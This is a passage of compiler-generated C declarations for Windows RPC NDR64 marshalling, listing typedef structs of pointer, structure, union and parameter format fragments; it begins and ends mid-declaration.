_NDR64_POINTER_FORMAT frag18;\n    struct _NDR64_POINTER_FORMAT frag19;\n}\n__midl_frag284_t;\nextern const __midl_frag284_t __midl_frag284;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag282_t;\nextern const __midl_frag282_t __midl_frag282;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag281_t;\nextern const __midl_frag281_t __midl_frag281;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag278_t;\nextern const __midl_frag278_t __midl_frag278;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag277_t;\nextern const __midl_frag277_t __midl_frag277;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag269_t;\nextern const __midl_frag269_t __midl_frag269;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag268_t;\nextern const __midl_frag268_t __midl_frag268;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag266_t;\nextern const __midl_frag266_t __midl_frag266;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag265_t;\nextern const __midl_frag265_t __midl_frag265;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_MEMPAD_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag32;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag33;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag34;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag35;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag36;\n    } frag2;\n}\n__midl_frag256_t;\nextern const __midl_frag256_t __midl_frag256;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag255_t;\nextern const __midl_frag255_t __midl_frag255;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n    struct _NDR64_POINTER_FORMAT frag11;\n    struct _NDR64_POINTER_FORMAT frag12;\n    struct _NDR64_POINTER_FORMAT frag13;\n    struct _NDR64_POINTER_FORMAT frag14;\n}\n__midl_frag254_t;\nextern const __midl_frag254_t __midl_frag254;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n    } frag2;\n}\n__midl_frag235_t;\nextern const __midl_frag235_t __midl_frag235;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag234_t;\nextern const __midl_frag234_t __midl_frag234;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n}\n__midl_frag233_t;\nextern const __midl_frag233_t __midl_frag233;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n    } frag2;\n}\n__midl_frag218_t;\nextern const __midl_frag218_t __midl_frag218;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag217_t;\nextern const __midl_frag217_t __midl_frag217;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n}\n__midl_frag216_t;\nextern const __midl_frag216_t __midl_frag216;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n    } frag2;\n}\n__midl_frag204_t;\nextern const __midl_frag204_t __midl_frag204;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag203_t;\nextern const __midl_frag203_t __midl_frag203;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n}\n__midl_frag202_t;\nextern const __midl_frag202_t __midl_frag202;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n    } frag2;\n}\n__midl_frag196_t;\nextern const __midl_frag196_t __midl_frag196;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag195_t;\nextern const __midl_frag195_t __midl_frag195;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    NDR64_UINT32 frag9;\n}\n__midl_frag190_t;\nextern const __midl_frag190_t __midl_frag190;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag189_t;\nextern const __midl_frag189_t __midl_frag189;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag185_t;\nextern const __midl_frag185_t __midl_frag185;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag169_t;\nextern const __midl_frag169_t __midl_frag169;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag167_t;\nextern const __midl_frag167_t __midl_frag167;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag160_t;\nextern const __midl_frag160_t __midl_frag160;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag157_t;\nextern const __midl_frag157_t __midl_frag157;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag156_t;\nextern const __midl_frag156_t __midl_frag156;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag153_t;\nextern const __midl_frag153_t __midl_frag153;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag152_t;\nextern const __midl_frag152_t __midl_frag152;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag148_t;\nextern const __midl_frag148_t __midl_frag148;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag147_t;\nextern const __midl_frag147_t __midl_frag147;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag146_t;\nextern const __midl_frag146_t __midl_frag146;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag145_t;\nextern const __midl_frag145_t __midl_frag145;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag142_t;\nextern const __midl_frag142_t __midl_frag142;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag141_t;\nextern const __midl_frag141_t __midl_frag141;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag138_t;\nextern const __midl_frag138_t __midl_frag138;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag137_t;\nextern const __midl_frag137_t __midl_frag137;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        struct _NDR64_NO_REPEAT_FORMAT frag10;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag11;\n        struct _NDR64_POINTER_FORMAT frag12;\n        struct _NDR64_NO_REPEAT_FORMAT frag13;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag14;\n        struct _NDR64_POINTER_FORMAT frag15;\n        struct _NDR64_NO_REPEAT_FORMAT frag16;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag17;\n        struct _NDR64_POINTER_FORMAT frag18;\n        struct _NDR64_NO_REPEAT_FORMAT frag19;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag20;\n        struct _NDR64_POINTER_FORMAT frag21;\n        struct _NDR64_NO_REPEAT_FORMAT frag22;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag23;\n        struct _NDR64_POINTER_FORMAT frag24;\n        struct _NDR64_NO_REPEAT_FORMAT frag25;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag26;\n        struct _NDR64_POINTER_FORMAT frag27;\n        struct _NDR64_NO_REPEAT_FORMAT frag28;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag29;\n        struct _NDR64_POINTER_FORMAT frag30;\n        struct _NDR64_NO_REPEAT_FORMAT frag31;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag32;\n        struct _NDR64_POINTER_FORMAT frag33;\n        NDR64_FORMAT_CHAR frag34;\n    } frag2;\n}\n__midl_frag123_t;\nextern const __midl_frag123_t __midl_frag123;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag122_t;\nextern const __midl_frag122_t __midl_frag122;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n}\n__midl_frag121_t;\nextern const __midl_frag121_t __midl_frag121;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag117_t;\nextern const __midl_frag117_t __midl_frag117;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag116_t;\nextern const __midl_frag116_t __midl_frag116;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag113_t;\nextern const __midl_frag113_t __midl_frag113;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag112_t;\nextern const __midl_frag112_t __midl_frag112;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    NDR64_UINT32 frag13;\n}\n__midl_frag110_t;\nextern const __midl_frag110_t __midl_frag110;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag109_t;\nextern const __midl_frag109_t __midl_frag109;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag105_t;\nextern const __midl_frag105_t __midl_frag105;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag97_t;\nextern const __midl_frag97_t __midl_frag97;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag96_t;\nextern const __midl_frag96_t __midl_frag96;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag95_t;\nextern const __midl_frag95_t __midl_frag95;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n}\n__midl_frag90_t;\nextern const __midl_frag90_t __midl_frag90;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag78_t;\nextern const __midl_frag78_t __midl_frag78;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n}\n__midl_frag75_t;\nextern const __midl_frag75_t __midl_frag75;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag32;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag33;\n    } frag2;\n}\n__midl_frag64_t;\nextern const __midl_frag64_t __midl_frag64;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag63_t;\nextern const __midl_frag63_t __midl_frag63;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag62_t;\nextern const __midl_frag62_t __midl_frag62;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag61_t;\nextern const __midl_frag61_t __midl_frag61;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct 